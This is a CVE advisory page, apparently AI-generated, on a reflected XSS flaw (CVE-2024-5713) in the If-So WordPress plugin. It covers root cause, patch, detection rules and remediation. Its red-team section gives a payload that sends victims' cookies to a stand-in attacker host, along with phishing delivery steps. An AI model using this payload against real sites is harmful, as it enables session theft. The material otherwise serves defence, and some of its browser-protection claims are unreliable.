☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5713

CVE-2024-5713 Cross-Site Scripting in If-so
📅 PUBLISHED: 2024-07-13 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5713 is a reflected Cross-Site Scripting (XSS) vulnerability in the If-So Dynamic Content Personalization WordPress plugin, affecting versions before 1.8.0.4. The plugin fails to properly escape the $_SERVER['REQUEST_URI'] parameter before outputting it in an HTML attribute, allowing an attacker to inject arbitrary JavaScript. This vulnerability is particularly dangerous for users on older web browsers that do not support modern XSS protections. The attack requires user interaction (clicking a crafted link) and can lead to session hijacking, credential theft, or defacement.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The If-So plugin is used to display dynamic content based on user behavior, location, or other conditions. The flaw lies in how the plugin handles the request URI when rendering content, making it a classic reflected XSS vector.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the impact is limited to low confidentiality and integrity, the attack complexity is low and no privileges are required. The requirement for user interaction reduces the immediate risk, but phishing campaigns can easily exploit this.

Deep Dive & Mechanics

The vulnerability exists in the If-So plugin's handling of the $_SERVER['REQUEST_URI'] variable. This variable contains the full URI of the current request, including query parameters. The plugin outputs this value directly into an HTML attribute without proper escaping or sanitization.

Root Cause: The plugin uses $_SERVER['REQUEST_URI'] in a context like:

echo '<div data-uri="' . $_SERVER['REQUEST_URI'] . '">';

An attacker can craft a URL such as:

https://example.com/?"><script>alert('XSS')</script>

When the plugin renders the page, the injected payload breaks out of the attribute and executes JavaScript.

Why Old Browsers? Modern browsers implement Content Security Policy (CSP) and XSS filters that can mitigate reflected XSS. However, older browsers (e.g., Internet Explorer, older Chrome/Firefox) lack these protections, making the vulnerability exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.8.0.4)

// In if-so.php or similar
$request_uri = $_SERVER['REQUEST_URI'];
echo '<div class="if-so-dynamic" data-uri="' . $request_uri . '">';

Patched Code (version 1.8.0.4)

// Properly escape the output
$request_uri = esc_attr($_SERVER['REQUEST_URI']);
echo '<div class="if-so-dynamic" data-uri="' . $request_uri . '">';

The esc_attr() function from WordPress escapes characters like ", ', <, >, and &, preventing attribute injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with If-So plugin version < 1.8.0.4
  • A victim using an older browser (e.g., IE11, Chrome 50)

Exploit Payload:

https://target-site.com/?"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Step-by-Step:

  1. Craft the malicious URL with the XSS payload in the query string.
  2. Send the link to the victim via email, social media, or other channels.
  3. When the victim clicks the link and the page loads, the script executes.
  4. The script exfiltrates the victim's cookies to the attacker's server.

Lab Setup:

  • Use a local WordPress installation with Docker.
  • Install the vulnerable plugin version (e.g., 1.8.0.0).
  • Use an old browser VM (e.g., IE11 on Windows 7) to test.

Blue Team (Detection & Response)

Detection:

  • Monitor web server logs for URLs containing suspicious patterns like "><script> or onerror=.
  • Use WAF rules to block requests with obvious XSS payloads in the URI.

Response:

  • Immediately update the plugin to version 1.8.0.4 or later.
  • If update is not possible, implement a virtual patch using a WAF to filter $_SERVER['REQUEST_URI'] output.
  • Review server logs for any successful exploitation attempts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • URLs containing "><script> or onerror= in the query string.
    • Outbound connections to unknown domains from the WordPress server.
  • File IOCs:
    • Modified WordPress core files or plugin files (unlikely for reflected XSS).
  • Log IOCs:
    • Web server logs showing 200 responses to URLs with XSS payloads.
    • Referer headers from phishing emails.

Detection Engineering

YARA Rule

rule CVE_2024_5713_IfSo_XSS {
    meta:
        description = "Detects If-So plugin reflected XSS payloads in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-5713"
    strings:
        $payload1 = /%22%3E%3Cscript%3E/i
        $payload2 = /%22%3E%3Cimg%20src=x%20onerror=/i
        $payload3 = /%22%20onfocus=%22alert\(/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5713 If-So Reflected XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against If-So plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '"><script>'
            - '"><img src=x onerror='
            - '"><svg onload='
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5713 If-So Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"%22%3E%3Cscript%3E"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Plugin: Upgrade If-So Dynamic Content Personalization to version 1.8.0.4 or later.
  2. Virtual Patching: If update is not possible, add a WAF rule to block URIs containing "><script> or similar patterns.
  3. Browser Security: Encourage users to use modern browsers with XSS filters and CSP enabled.

Long-Term Measures:

  • Implement Content Security Policy (CSP) headers to mitigate XSS.
  • Regularly audit WordPress plugins for security vulnerabilities.
  • Use a Web Application Firewall (WAF) with OWASP ModSecurity Core Rule Set.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5713/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.